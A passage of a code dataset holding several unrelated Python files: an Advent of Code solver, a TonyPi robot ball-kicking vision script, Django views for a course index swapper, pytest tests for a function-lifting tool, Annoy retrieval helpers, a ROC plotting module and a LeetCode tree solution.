*(int(i) for i in line[1:])) for line in\n re.findall(r'(\\w+) (\\d+) (\\d+) (\\d+)', raw.strip())]\n\n pointer = int(raw.split('\\n')[0].split()[-1])\n register = [0] * 6\n\n return register, instructions, pointer\n\n\ndef addi(data, items):\n a, b, c = items\n data[c] = data[a] + b\n\n\ndef addr(data, items):\n a, b, c = items\n data[c] = data[a] + data[b]\n\n\ndef bani(data, items):\n a, b, c = items\n data[c] = data[a] & b\n\n\ndef bori(data, items):\n a, b, c = items\n data[c] = data[a] | b\n\n\ndef eqri(data, items):\n a, b, c = items\n data[c] = int(data[a] == b)\n\n\ndef eqrr(data, items):\n a, b, c = items\n data[c] = int(data[a] == data[b])\n\n\ndef gtir(data, items):\n a, b, c = items\n data[c] = int(a > data[b])\n\n\ndef gtrr(data, items):\n a, b, c = items\n data[c] = int(data[a] > data[b])\n\n\ndef muli(data, items):\n a, b, c = items\n data[c] = data[a] * b\n\n\ndef seti(data, items):\n a, _, c = items\n data[c] = a\n\n\ndef setr(data, items):\n a, _, c = items\n data[c] = data[a]\n\n\nfn_map = {\n 'addi': addi,\n 'addr': addr,\n 'bani': bani,\n 'bori': bori,\n 'eqri': eqri,\n 'eqrr': eqrr,\n 'gtir': gtir,\n 'gtrr': gtrr,\n 'muli': muli,\n 'seti': seti,\n 'setr': setr,\n}\n\n\ndef part1():\n register, instructions, p = read_data()\n special_line_index = 29 # must check from the code\n\n while True:\n index = register[p]\n if index < 0 or index >= len(instructions):\n break\n\n if index == special_line_index:\n return register[3]\n\n inst, *items = instructions[index]\n fn_map[inst](register, items)\n register[p] += 1\n\n\ndef part2():\n r3 = 0 # default\n r3_seen = set()\n r4_seen = set()\n last_seen = 0\n\n while True:\n r4 = r3 | 65536\n r3 = 10649702\n\n if r4 in r4_seen:\n break\n else:\n r4_seen.add(r4)\n\n while True:\n # ins 7 - 12\n r5 = r4 & 255\n r3 += r5\n r3 &= 16777215\n r3 *= 65899\n r3 &= 16777215\n\n # ins 13, break out of loop check else increment r4\n if 256 > r4:\n if r3 not in r3_seen:\n last_seen = r3\n r3_seen.add(r3)\n\n break\n\n # ins 17 - 20, loops get r1 bigger by 256* until it is bigger than r4\n # then set r4 = r5 [r1 // 256]. so essentially divide by 256\n r4 //= 256\n\n return last_seen\n","repo_name":"DanielBok/aoc","sub_path":"2018/d21.py","file_name":"d21.py","file_ext":"py","file_size_in_byte":2617,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"1824682416","text":"#!/usr/bin/python3\n# coding=utf8\nimport sys\nimport cv2\nimport time\nimport math\nimport threading\nimport numpy as np\n\nimport hiwonder.PID as PID\nimport hiwonder.Misc as Misc\nimport hiwonder.Board as Board\nimport hiwonder.Camera as Camera\nimport hiwonder.ActionGroupControl as AGC\nimport hiwonder.yaml_handle as yaml_handle\n\nif __name__ == '__main__':\n from CameraCalibration.CalibrationConfig import *\nelse:\n from Functions.CameraCalibration.CalibrationConfig import *\n\n# 自动踢球\ndebug = False\n\nif sys.version_info.major == 2:\n print('Please run this program with python3!')\n sys.exit(0)\n\n#加载参数\nparam_data = np.load(calibration_param_path + '.npz')\n\n#获取参数\nmtx = param_data['mtx_array']\ndist = param_data['dist_array']\nnewcameramtx, roi = cv2.getOptimalNewCameraMatrix(mtx, dist, (640, 480), 0, (640, 480))\nmapx, mapy = cv2.initUndistortRectifyMap(mtx, dist, None, newcameramtx, (640, 480), 5)\n\nrange_rgb = {\n 'red': (0, 0, 255),\n 'blue': (255, 0, 0),\n 'green': (0, 255, 0),\n 'black': (0, 0, 0),\n 'white': (255, 255, 255),\n}\n\n__target_color = ('red',)\n# 设置检测颜色\ndef setBallTargetColor(target_color):\n global __target_color\n\n __target_color = target_color\n return (True, (), 'SetBallColor')\n\nlab_data = None\nservo_data = None\ndef load_config():\n global lab_data, servo_data\n \n lab_data = yaml_handle.get_yaml_data(yaml_handle.lab_file_path)\n servo_data = yaml_handle.get_yaml_data(yaml_handle.servo_file_path)\n\nload_config()\n\n# 初始位置\ndef initMove():\n Board.setPWMServoPulse(1, servo_data['servo1'], 500)\n Board.setPWMServoPulse(2, servo_data['servo2'], 500)\n\nt1 = 0\nd_x = 20\nd_y = 20\nstep = 1\nstep_ = 1\nx_dis = servo_data['servo2']\ny_dis = servo_data['servo1']\nlast_status = ''\nstart_count = True\ncenterX, centerY = -2, -2\nx_pid = PID.PID(P=0.4, I=0.02, D=0.02)#pid初始化\ny_pid = PID.PID(P=0.4, I=0.02, D=0.02)\n# 变量重置\ndef reset():\n global t1\n global d_x, d_y\n global last_status\n global start_count\n global step, step_\n global x_dis, y_dis\n global __target_color\n global centerX, centerY\n\n t1 = 0\n d_x = 20\n d_y = 20\n step = 1\n step_ = 1\n x_pid.clear()\n y_pid.clear()\n x_dis = servo_data['servo2']\n y_dis = servo_data['servo1']\n last_status = ''\n start_count = True\n __target_color = ()\n centerX, centerY = -2, -2\n \n# app初始化调用\ndef init():\n print(\"KickBall Init\")\n load_config()\n initMove()\n\n__isRunning = False\n# app开始玩法调用\ndef start():\n global __isRunning\n reset()\n __isRunning = True\n print(\"KickBall Start\")\n\n# app停止玩法调用\ndef stop():\n global __isRunning\n __isRunning = False\n print(\"KickBall Stop\")\n\n# app退出玩法调用\ndef exit():\n global __isRunning\n __isRunning = False\n AGC.runActionGroup('stand_slow')\n print(\"KickBall Exit\")\n\n# 找出面积最大的轮廓\n# 参数为要比较的轮廓的列表\ndef getAreaMaxContour(contours):\n contour_area_temp = 0\n contour_area_max = 0\n area_max_contour = None\n\n for c in contours: # 历遍所有轮廓\n contour_area_temp = math.fabs(cv2.contourArea(c)) # 计算轮廓面积\n if contour_area_temp > contour_area_max:\n contour_area_max = contour_area_temp\n if 1000 > contour_area_temp >= 2: # 只有在面积大于设定值时,最大面积的轮廓才是有效的,以过滤干扰\n area_max_contour = c\n\n return area_max_contour, contour_area_max # 返回最大的轮廓\n\nCENTER_X = 350\n#执行动作组\ndef move():\n global t1\n global d_x\n global d_y\n global step\n global step_\n global x_dis\n global y_dis\n global last_status\n global start_count\n \n while True:\n if debug:\n return\n if __isRunning:\n if centerX >= 0:\n step_ = 1\n d_x, d_y = 20, 20\n start_count = True\n if step == 1: \n if x_dis - servo_data['servo2'] > 150:#不在中心,根据方向让机器人转向一步\n AGC.runActionGroup('turn_left_small_step')\n elif x_dis - servo_data['servo2'] < -150:\n AGC.runActionGroup('turn_right_small_step')\n else:\n step = 2\n elif step == 2: \n if y_dis == servo_data['servo1']:\n if 350 < centerY <= 380:\n AGC.runActionGroup('go_forward_one_step')\n last_status = 'go'\n step = 1\n elif 150 < centerY <= 350:\n AGC.runActionGroup('go_forward')\n last_status = 'go'\n step = 1\n elif 0 <= centerY <= 150:\n AGC.runActionGroup('go_forward_fast')\n last_status = 'go'\n step = 1\n else:\n step = 3\n else:\n AGC.runActionGroup('go_forward_fast')\n last_status = 'go'\n elif step == 3:\n if y_dis == servo_data['servo1']:\n if abs(centerX - CENTER_X) <= 40:#不在中心,根据方向让机器人转向一步\n AGC.runActionGroup('left_move')\n elif 0 < centerX < CENTER_X - 50 - 40:\n AGC.runActionGroup('left_move_fast')\n time.sleep(0.2)\n elif CENTER_X + 50 + 40 < centerX: \n AGC.runActionGroup('right_move_fast')\n time.sleep(0.2)\n else:\n step = 4 \n else:\n if 270 <= x_dis - servo_data['servo2'] < 480:#不在中心,根据方向让机器人转向一步\n AGC.runActionGroup('left_move_fast')\n time.sleep(0.2)\n elif abs(x_dis - servo_data['servo2']) < 170:\n AGC.runActionGroup('left_move')\n elif -480 < x_dis - servo_data['servo2'] <= -270: \n AGC.runActionGroup('right_move_fast')\n time.sleep(0.2)\n else:\n step = 4 \n elif step == 4:\n if y_dis == servo_data['servo1']:\n if 380 < centerY <= 440:\n AGC.runActionGroup('go_forward_one_step')\n last_status = 'go'\n elif 0 <= centerY <= 380:\n AGC.runActionGroup('go_forward')\n last_status = 'go'\n else:\n if centerX < CENTER_X:\n AGC.runActionGroup('left_shot_fast')\n else:\n AGC.runActionGroup('right_shot_fast')\n step = 1\n else:\n step = 1\n elif centerX == -1:\n if last_status == 'go':\n last_status = ''\n AGC.runActionGroup('back_fast', with_stand=True) \n elif start_count:\n start_count = False\n t1 = time.time()\n else:\n #print(x_dis, y_dis, step_)\n if time.time() - t1 > 0.5:\n if step_ == 5:\n x_dis += d_x\n if abs(x_dis - servo_data['servo2']) <= abs(d_x):\n AGC.runActionGroup('turn_right')\n step_ = 1\n if step_ == 1 or step_ == 3:\n x_dis += d_x \n if x_dis > servo_data['servo2'] + 300:\n if step_ == 1:\n step_ = 2\n d_x = -d_x\n if x_dis < servo_data['servo2'] - 200:\n if step_ == 3:\n step_ = 4\n d_x = -d_x\n elif step_ == 2 or step_ == 4:\n y_dis += d_y\n if y_dis > 1200:\n if step_ == 2:\n step_ = 3\n d_y = -d_y\n if y_dis < servo_data['servo1']:\n if step_ == 4: \n step_ = 5\n d_y = -d_y\n Board.setPWMServoPulse(1, y_dis, 20)\n Board.setPWMServoPulse(2, x_dis, 20)\n time.sleep(0.02)\n else:\n time.sleep(0.01)\n else:\n time.sleep(0.01)\n\n#启动动作的线程\nth = threading.Thread(target=move)\nth.setDaemon(True)\nth.start()\n\nsize = (320, 240)\ndef run(img):\n global x_dis, y_dis\n global centerX, centerY\n \n img_copy = img.copy()\n img_h, img_w = img.shape[:2]\n\n #cv2.line(img, (int(img_w/2 - 10), int(img_h/2)), (int(img_w/2 + 10), int(img_h/2)), (0, 255, 255), 2)\n #cv2.line(img, (int(img_w/2), int(img_h/2 - 10)), (int(img_w/2), int(img_h/2 + 10)), (0, 255, 255), 2)\n \n if not __isRunning or __target_color == ():\n #img = cv2.remap(img, mapx, mapy, cv2.INTER_LINEAR)\n if debug:\n cv2.line(img, (0, 450), (img_w, 450), (0, 255, 255), 2)\n cv2.line(img, (0, 380), (img_w, 380), (0, 255, 255), 2)\n cv2.line(img, (0, 300), (img_w, 300), (0, 255, 255), 2)\n return img\n \n frame_resize = cv2.resize(img_copy, size, interpolation=cv2.INTER_NEAREST)\n frame_gb = cv2.GaussianBlur(frame_resize, (3, 3), 3) \n frame_lab = cv2.cvtColor(frame_gb, cv2.COLOR_BGR2LAB) # 将图像转换到LAB空间\n \n area_max = 0\n areaMaxContour = 0\n for i in lab_data:\n if i in __target_color:\n detect_color = i\n frame_mask = cv2.inRange(frame_lab,\n (lab_data[i]['min'][0],\n lab_data[i]['min'][1],\n lab_data[i]['min'][2]),\n (lab_data[i]['max'][0],\n lab_data[i]['max'][1],\n lab_data[i]['max'][2])) #对原图像和掩模进行位运算\n eroded = cv2.erode(frame_mask, cv2.getStructuringElement(cv2.MORPH_RECT, (3, 3))) #腐蚀\n dilated = cv2.dilate(eroded, cv2.getStructuringElement(cv2.MORPH_RECT, (3, 3))) #膨胀\n if debug:\n cv2.imshow(i, dilated)\n contours = cv2.findContours(dilated, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_NONE)[-2] # 找出轮廓\n areaMaxContour, area_max = getAreaMaxContour(contours) # 找出最大轮廓\n if area_max: # 有找到最大面积 \n try:\n (centerX, centerY), radius = cv2.minEnclosingCircle(areaMaxContour) #获取最小外接圆\n except:\n img = cv2.remap(img, mapx, mapy, cv2.INTER_LINEAR) # 畸变矫正\n return img\n centerX = int(Misc.map(centerX, 0, size[0], 0, img_w))\n centerY = int(Misc.map(centerY, 0, size[1], 0, img_h))\n radius = int(Misc.map(radius, 0, size[0], 0, img_w))\n \n use_time = 0 \n \n if y_dis == servo_data['servo1'] and abs(x_dis - servo_data['servo2']) < 150:\n x_dis = servo_data['servo2']\n else:\n x_pid.SetPoint = img_w/2 #设定 \n x_pid.update(centerX) #当前\n dx = int(x_pid.output)\n if dx > 0:\n last_status = 'left'\n else:\n last_status = 'right'\n use_time = abs(dx*0.00025)\n x_dis += dx #输出 \n \n x_dis = servo_data['servo2'] - 400 if x_dis < servo_data['servo2'] - 400 else x_dis \n x_dis = servo_data['servo2'] + 400 if x_dis > servo_data['servo2'] + 400 else x_dis\n \n y_pid.SetPoint = img_h/2\n y_pid.update(centerY)\n dy = int(y_pid.output)\n use_time = round(max(use_time, abs(dy*0.00025)), 5)\n y_dis += dy\n \n y_dis = servo_data['servo1'] if y_dis < servo_data['servo1'] else y_dis\n y_dis = 1200 if y_dis > 1200 else y_dis \n \n Board.setPWMServoPulse(1, y_dis, use_time*1000)\n Board.setPWMServoPulse(2, x_dis, use_time*1000)\n time.sleep(use_time)\n \n cv2.circle(img, (centerX, centerY), radius, range_rgb[detect_color], 2)\n cv2.line(img, (int(centerX - radius/2), centerY), (int(centerX + radius/2), centerY), range_rgb[detect_color], 2)\n cv2.line(img, (centerX, int(centerY - radius/2)), (centerX, int(centerY + radius/2)), range_rgb[detect_color], 2)\n else:\n centerX, centerY = -1, -1\n \n #print(centerX, centerY)\n\n #img = cv2.remap(img, mapx, mapy, cv2.INTER_LINEAR) # 畸变矫正\n\n if debug:\n cv2.putText(img, \"x_dis: \" + str(x_dis), (10, img.shape[0] - 10), cv2.FONT_HERSHEY_SIMPLEX, 0.65, range_rgb[detect_color], 2)\n cv2.line(img, (0, 450), (img_w, 450), (0, 255, 255), 2)\n cv2.line(img, (0, 380), (img_w, 380), (0, 255, 255), 2)\n cv2.line(img, (0, 300), (img_w, 300), (0, 255, 255), 2) \n\n return img\n\nif __name__ == '__main__':\n debug = False\n if debug:\n print('Debug Mode')\n \n init()\n start()\n __target_color = ('red',)\n open_once = yaml_handle.get_yaml_data('/boot/camera_setting.yaml')['open_once']\n if open_once:\n my_camera = cv2.VideoCapture('http://127.0.0.1:8080/?action=stream?dummy=param.mjpg')\n else:\n my_camera = Camera.Camera()\n my_camera.camera_open() \n AGC.runActionGroup('stand')\n while True:\n ret, img = my_camera.read()\n if ret:\n frame = img.copy()\n Frame = run(frame) \n cv2.imshow('Frame', Frame)\n key = cv2.waitKey(1)\n if key == 27:\n break\n else:\n time.sleep(0.01)\n my_camera.camera_close()\n cv2.destroyAllWindows()\n","repo_name":"AaronWard/generative-ai-workbook","sub_path":"resources/libs/tonypi_pro_source_code/TonyPi/Functions/KickBall.py","file_name":"KickBall.py","file_ext":"py","file_size_in_byte":14792,"program_lang":"python","lang":"en","doc_type":"code","stars":60,"dataset":"github-code","pt":"67"} +{"seq_id":"70156265175","text":"from drf_yasg import openapi\nfrom drf_yasg.utils import swagger_auto_schema\nfrom django.http import Http404\nfrom rest_framework import status\nfrom rest_framework.decorators import action\nfrom rest_framework.generics import CreateAPIView\nfrom rest_framework.permissions import IsAuthenticated\nfrom rest_framework.response import Response\nfrom rest_framework.viewsets import ReadOnlyModelViewSet, ViewSet\nfrom indexswapper.models import CourseIndex, SwapRequest\nfrom indexswapper.serializers import (\n PopulateDatabaseSerializer,\n CourseIndexPartialSerializer,\n CourseIndexCompleteSerializer,\n SwapRequestCreateSerializer,\n SwapRequestListSerializer,\n SwapRequestEditSerializer,\n)\nfrom indexswapper.utils import email\nfrom indexswapper.utils.algo import perform_pairing\nfrom indexswapper.utils.decorator import get_swap_request_with_id_verify, verify_cooldown\nfrom indexswapper.utils.description import API_DESCRIPTIONS, courseindex_search_qp, swaprequest_qp\nfrom indexswapper.utils.mixin import (\n CourseIndexQueryParamsMixin,\n SwapRequestQueryParamsMixin,\n)\nfrom sso.permissions import IsSuperUser\n\n\nclass PopulateDatabaseView(CreateAPIView):\n queryset = CourseIndex.objects.all()\n serializer_class = PopulateDatabaseSerializer\n permission_classes = [IsSuperUser]\n\n\nclass CourseIndexViewSet(CourseIndexQueryParamsMixin,\n ReadOnlyModelViewSet):\n queryset = CourseIndex.objects.all()\n lookup_field = 'index'\n\n def get_serializer_class(self):\n return (\n CourseIndexPartialSerializer if self.action == 'list'\n else CourseIndexCompleteSerializer\n )\n\n @swagger_auto_schema(operation_description=API_DESCRIPTIONS['courseindex_list'])\n def list(self, *args, **kwargs):\n return super().list(*args, **kwargs)\n\n @swagger_auto_schema(operation_description=API_DESCRIPTIONS['courseindex_retrieve'])\n def retrieve(self, request, *args, **kwargs):\n return super().retrieve(request, *args, **kwargs)\n\n @swagger_auto_schema(operation_description=API_DESCRIPTIONS['courseindex_get_courses'],\n manual_parameters=[courseindex_search_qp])\n @action(methods=['get'], detail=False)\n def get_courses(self, *args, **kwargs):\n qs = self.filter_queryset(self.get_queryset())\n unique_courses = qs.values('code', 'name').distinct()\n page = self.paginate_queryset(unique_courses)\n return self.get_paginated_response(page)\n\n @swagger_auto_schema(operation_description=API_DESCRIPTIONS['courseindex_get_indexes'])\n @action(methods=['get'], detail=False,\n url_path='get_indexes/(?P[^/.]+)')\n def get_indexes_from_course(self, *args, **kwargs):\n qs = CourseIndex.objects.filter(code=kwargs['course_code'])\n if qs.count() == 0:\n raise Http404()\n return Response([{\n 'index': x.index,\n 'information': x.get_information,\n 'pending_count': x.pending_count,\n } for x in qs])\n\n\nclass SwapRequestViewSet(SwapRequestQueryParamsMixin,\n ViewSet):\n permission_classes = [IsAuthenticated]\n\n @swagger_auto_schema(\n request_body=SwapRequestCreateSerializer,\n operation_description=API_DESCRIPTIONS['swaprequest_create'])\n def create(self, request):\n serializer = SwapRequestCreateSerializer(\n data=request.data, context={'request': request})\n serializer.is_valid(raise_exception=True)\n instance = serializer.save(user=request.user)\n email.send_swap_request_creation(instance)\n pair_result = perform_pairing(serializer.data['id'])\n return Response({**serializer.data, 'is_pair_success': pair_result},\n status=status.HTTP_201_CREATED)\n\n @swagger_auto_schema(\n manual_parameters=[swaprequest_qp],\n operation_description=API_DESCRIPTIONS['swaprequest_list'])\n def list(self, request):\n queryset = SwapRequest.objects.filter(user=request.user.id)\n for backend in list(self.filter_backends):\n queryset = backend().filter_queryset(self.request, queryset, self)\n serializer = SwapRequestListSerializer(queryset, many=True)\n return Response(serializer.data)\n\n @swagger_auto_schema(\n request_body=SwapRequestEditSerializer,\n operation_description=API_DESCRIPTIONS['swaprequest_update'])\n @get_swap_request_with_id_verify(SwapRequest.Status.SEARCHING, SwapRequest.Status.WAITING)\n def update(self, request, *args, **kwargs):\n serializer = SwapRequestEditSerializer(\n instance=kwargs['instance'], data=request.data, context={'request': request})\n serializer.is_valid(raise_exception=True)\n serializer.save(user=request.user)\n return Response(serializer.data)\n\n @swagger_auto_schema(operation_description=API_DESCRIPTIONS['swaprequest_search_another'])\n @action(methods=['patch'], detail=True)\n @get_swap_request_with_id_verify(SwapRequest.Status.WAITING)\n @verify_cooldown()\n def search_another(self, request, *args, **kwargs):\n pair_result = perform_pairing(kwargs['instance'].id)\n pair_swaprequest = kwargs['instance'].pair\n pair_swaprequest.status = SwapRequest.Status.REVOKED\n pair_swaprequest.save()\n email.send_swap_search_another(kwargs['instance'])\n return Response({'is_pair_success': pair_result})\n\n @swagger_auto_schema(operation_description=API_DESCRIPTIONS['swaprequest_mark_complete'])\n @action(methods=['patch'], detail=True)\n @get_swap_request_with_id_verify(SwapRequest.Status.WAITING)\n def mark_complete(self, request, *args, **kwargs):\n kwargs['instance'].status = SwapRequest.Status.COMPLETED\n kwargs['instance'].save()\n kwargs['instance'].pair.status = SwapRequest.Status.COMPLETED\n kwargs['instance'].pair.save()\n email.send_swap_completed(kwargs['instance'])\n return Response('ok')\n\n @swagger_auto_schema(operation_description=API_DESCRIPTIONS['swaprequest_cancel_swap'])\n @action(methods=['patch'], detail=True)\n @get_swap_request_with_id_verify(SwapRequest.Status.WAITING, SwapRequest.Status.SEARCHING)\n def cancel_swap(self, request, *args, **kwargs):\n current_status = kwargs['instance'].status\n kwargs['instance'].status = SwapRequest.Status.REVOKED\n kwargs['instance'].save()\n if current_status == SwapRequest.Status.WAITING:\n perform_pairing(kwargs['instance'].pair.id)\n email.send_swap_cancel_pair(kwargs['instance'].pair)\n email.send_swap_cancel_self(\n kwargs['instance'], current_status == SwapRequest.Status.WAITING)\n return Response('ok')\n","repo_name":"michac789/ntusu-index-swapper-be","sub_path":"indexswapper/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6749,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"6127802787","text":"import ast\nimport argparse\nimport os\nimport pickle\nimport shutil\nimport subprocess\nimport sys\nimport tempfile\nimport textwrap\n\nimport dill\nimport networkx as nx\nimport pandas as pd\nfrom plpy.analyze.dynamic_trace_events import Variable\nimport pytest\n\nfrom wranglesearch.lift_donations import DonatedFunction\nfrom wranglesearch.utils import build_script_paths\nsys.path.append('../')\nfrom runner import run_pipeline\n\n\ndef test_args_and_return_vars_donated_functions():\n g = nx.DiGraph()\n name = 'f'\n cleaning_code = []\n context_code = []\n\n bad_formals = [Variable('x', 1, pd.Series), Variable('x[1]', 2, int)]\n bad_return = Variable('df.b', 0, pd.Series)\n ok_return = Variable('df', 1, pd.DataFrame)\n\n try:\n DonatedFunction(g, name, bad_formals, ok_return, [], [])\n pytest.fail('Should fail with non-ast.Name formal args')\n except ValueError:\n pass\n\n try:\n DonatedFunction(g, name, [], bad_return, [], [])\n pytest.fail('Should fail with non-ast.Name return var')\n except ValueError:\n pass\n\ndef to_ast_dump(elem):\n if isinstance(elem, ast.AST):\n return ast.dump(elem)\n elif isinstance(elem, str):\n return ast.dump(ast.parse(elem))\n else:\n raise ValueError('unhandled type for ast dump')\n\n\nsource_donated_functions_cases = [\n dict(\n cleaning_code=['x', 'x + 2'],\n context_code=None,\n formal_args = [],\n return_var = Variable('x', 0, int),\n expected = \"def f(): x; x + 2; return x\",\n ),\n dict(\n cleaning_code=['x', 'x + 2'],\n context_code=None,\n formal_args = [Variable('a', 0, int), Variable('b', 1, int)],\n return_var = Variable('x', 0, int),\n expected = \"def f(a, b): x; x + 2; return x\",\n ),\n dict(\n cleaning_code=['x', 'x + 2'],\n context_code=[],\n formal_args = [Variable('a', 0, int), Variable('b', 1, int)],\n return_var = Variable('x', 0, int),\n expected = \"def f(a, b): x; x + 2; return x\",\n ),\n dict(\n cleaning_code=['x', 'x + 2'],\n context_code=['def a(): return 10'],\n formal_args = [Variable('z', 0, int)],\n return_var = Variable('x', 0, int),\n expected = \"\"\"\n def f(z):\n def a(): return 10\n x\n x + 2\n return x\n \"\"\"\n ),\n]\n\n@pytest.mark.parametrize('info', source_donated_functions_cases)\ndef test_source_donated_functions(info):\n g = nx.DiGraph()\n name = 'f'\n formal_args = info['formal_args']\n return_var = info['return_var']\n cleaning_code = info['cleaning_code']\n context_code = info['context_code']\n expected = textwrap.dedent(info['expected'])\n\n fun = DonatedFunction(g, name, formal_args, return_var, cleaning_code, context_code)\n expected_src = \"def f(): x; x + 2; return x\"\n assert to_ast_dump(fun.source) == to_ast_dump(expected)\n assert to_ast_dump(fun.ast) == to_ast_dump(expected)\n\n\ndef from_source_to_functions(src, tempdir):\n script_path = os.path.join(tempdir, 'script.py')\n\n with open(script_path, 'w') as f:\n f.write(src)\n\n args = argparse.Namespace(\n timeout='2h',\n script_path=script_path,\n output_dir=tempdir,\n loop_bound=2,\n memory_refinement=1,\n log=None,\n plain=False,\n time=False,\n )\n run_pipeline.main(args)\n\n functions_path = build_script_paths(script_path)['functions_path']\n # horrible hack (but for some reason pickle failing within pytest)\n # even after importing DonatedFunction into the module\n hack = \"\"\"\n import dill\n from wranglesearch.lift_donations import DonatedFunction\n with open('{0}', 'rb') as f:\n functions = dill.load(f)\n with open('{0}', 'wb') as f:\n dill.dump(functions, f)\n \"\"\".format(functions_path)\n hack = textwrap.dedent(hack)\n subprocess.call(['python', '-c', hack])\n\n with open(functions_path, 'rb') as f:\n functions = dill.load(f)\n\n return functions\n\n\nlift_functions_cases = [\n # basic example\n (\n \"\"\"\n import pandas as pd\n df = pd.read_csv('data.csv')\n df['c1'] = 2\n \"\"\",\n \"\"\"\n def cleaning_func_0(df):\n import pandas as pd\n df['c1'] = 2\n return df\n \"\"\"\n ),\n\n # with some context code\n (\n \"\"\"\n class A(object):\n def __init__(self, v):\n self.v = v\n\n\n import pandas as pd\n df = pd.read_csv('data.csv')\n a = A(2)\n df['c1'] = a.v\n \"\"\",\n \"\"\"\n def cleaning_func_0(df):\n class A(object):\n def __init__(self, v):\n self.v = v\n\n import pandas as pd\n a = A(2)\n df['c1'] = a.v\n return df\n \"\"\"\n ),\n\n # a case where we used to incorrectly lift df[names]\n # this should now be corrected and added as a regression test\n (\n \"\"\"\n import pandas as pd\n df = pd.read_csv('data.csv')\n names = ['c1', 'c2']\n loan = df[names]\n loan['extra'] = 3\n \"\"\",\n \"\"\"\n def cleaning_func_0(df):\n import pandas as pd\n names = ['c1', 'c2']\n loan = df[names]\n loan['extra'] = 3\n return loan\n \"\"\"\n ),\n]\n\n\n@pytest.mark.parametrize('src,expected_src', lift_functions_cases)\ndef test_lift_functions(src, expected_src):\n src = textwrap.dedent(src)\n expected_src = textwrap.dedent(expected_src)\n\n tempdir = tempfile.mkdtemp()\n # prepare data for examples to run\n data_path = os.path.join(tempdir, 'data.csv')\n dummy_data = pd.DataFrame([(1, 2), (3, 4)], columns=['c1', 'c2'])\n dummy_data.to_csv(data_path, index=False)\n\n functions = from_source_to_functions(src, tempdir)\n assert len(functions) == 1\n function = functions[0]\n print(function.source)\n assert to_ast_dump(function.source) == to_ast_dump(expected_src)\n\n shutil.rmtree(tempdir)\n","repo_name":"josepablocam/wranglesearch","sub_path":"tests/test_lift_donations.py","file_name":"test_lift_donations.py","file_ext":"py","file_size_in_byte":6023,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"23412532429","text":"from collections import defaultdict\nfrom annoy import AnnoyIndex\nfrom tqdm import tqdm\nimport numpy as np\n\ndef map_sent(sent, proj_mat, ndim):\n ssub = sent # .split(' ')\n tempvec = np.zeros(ndim)\n for word in ssub:\n tempvec += proj_mat[word]\n return tempvec\n\n\ndef make_hash(examples_list):\n np.random.seed(0)\n ndim = 256\n proj_mat = defaultdict(lambda: np.random.randn(ndim))\n t = AnnoyIndex(ndim, metric='angular')\n lnum = 0\n for ex in tqdm(examples_list):\n sent = ex.input_words[1]\n sv = map_sent(sent, proj_mat, ndim)\n t.add_item(lnum, sv)\n lnum += 1\n t.build(10)\n return t, proj_mat\n\ndef make_hash_from_vec(vecs):\n np.random.seed(0)\n t = AnnoyIndex(len(vecs[0]), metric='angular')\n for lnum, vec in tqdm(enumerate(vecs)):\n t.add_item(lnum, vec)\n t.build(10)\n return t\n\ndef grab_nbs(test_ex_list, lsh, proj_mat, ndim=256):\n nbs_list = []\n for ex in tqdm(test_ex_list):\n sv_test = map_sent(ex.input_words[1], proj_mat, ndim)\n nbs_list.append(lsh.get_nns_by_vector(sv_test, 1)[0])\n return nbs_list\n\ndef grab_nbs_from_vec(vecin, lsh):\n nbs_list = []\n for vec in tqdm(vecin):\n nbs_list.append(lsh.get_nns_by_vector(vec, 1)[0])\n return nbs_list\n\n\ndef generate_predictions(train_list, idx):\n return [train_list[idx[i]].target_words for i in range(len(idx))]\n\n","repo_name":"lvyiwei1/StylePTB","sub_path":"Model Codes/RetrieveEdit/gtd/retrieval_func.py","file_name":"retrieval_func.py","file_ext":"py","file_size_in_byte":1392,"program_lang":"python","lang":"en","doc_type":"code","stars":57,"dataset":"github-code","pt":"67"} +{"seq_id":"31880942881","text":"'''\nModulo que implementa as funcoes de plot da curva roc e armazenamento das predicoes\n'''\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport os\n\nfrom sklearn.metrics import plot_roc_curve\n\nplt.style.use('ggplot')\n\n\ndef plot_results(name_clf, best_clf, x_data, y_data, method, variant, P, R, output, t_data):\n\n path_pred = output + '/ARR_ROC/' + variant + '/y_pred_' + t_data\n\n if not os.path.exists(path_pred):\n os.makedirs(path_pred)\n\n # salvando array para o calculo das metricas\n y_predict = best_clf.predict(x_data)\n filename_arr_pred = path_pred + '/{}_{}_{}_{}.txt'.format(method.upper(), str(P), str(R), name_clf.replace(' ', ''))\n np.savetxt(filename_arr_pred, y_predict)\n\n plot_roc_curve(best_clf, x_data, y_data)\n \n #PLOTANDO LINHA DIAGONAL --> y = x\n plt.plot([0, 1], [0, 1], linestyle='--', lw=2, color='g', alpha=.8)\n\n # PLOTANDO INFORMACOES BASICA DO GRAFICO\n plt.title('{} - {}/{} - P: {}, R:{}'.format(name_clf, method.upper(), variant, P, R))\n plt.legend(loc=\"lower right\")\n \n path_graphic_roc = output + '/ROC/'+variant+'_'+t_data\n if not os.path.exists(path_graphic_roc):\n os.makedirs(path_graphic_roc)\n\n plt.savefig(path_graphic_roc+'/{}_{}_{}_{}.png'.format(variant, method.upper(), name_clf.replace(' ', ''), P, R))\n plt.close()","repo_name":"marcelo-santos-12/tcc","sub_path":"utils/plotting.py","file_name":"plotting.py","file_ext":"py","file_size_in_byte":1328,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"32993126075","text":"# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution:\n def distanceK(self, root: TreeNode, target: TreeNode, k: int) -> List[int]:\n graph = defaultdict(list)\n visited = set()\n ans = []\n queue = deque([[target,0]])\n \n def buildGraph(node):\n \n if not node:\n return\n \n if node.left:\n graph[node].append(node.left)\n graph[node.left].append(node)\n buildGraph(node.left)\n \n if node.right:\n graph[node].append(node.right)\n graph[node.right].append(node)\n buildGraph(node.right)\n \n buildGraph(root)\n visited.add(target)\n \n while queue:\n node,dist = queue.popleft()\n \n if dist == k:\n ans.append(node.val)\n \n for neighbour in graph[node]:\n if neighbour not in visited:\n visited.add(neighbour)\n queue.append([neighbour,dist+1])\n \n return ans\n \n \n \n \n 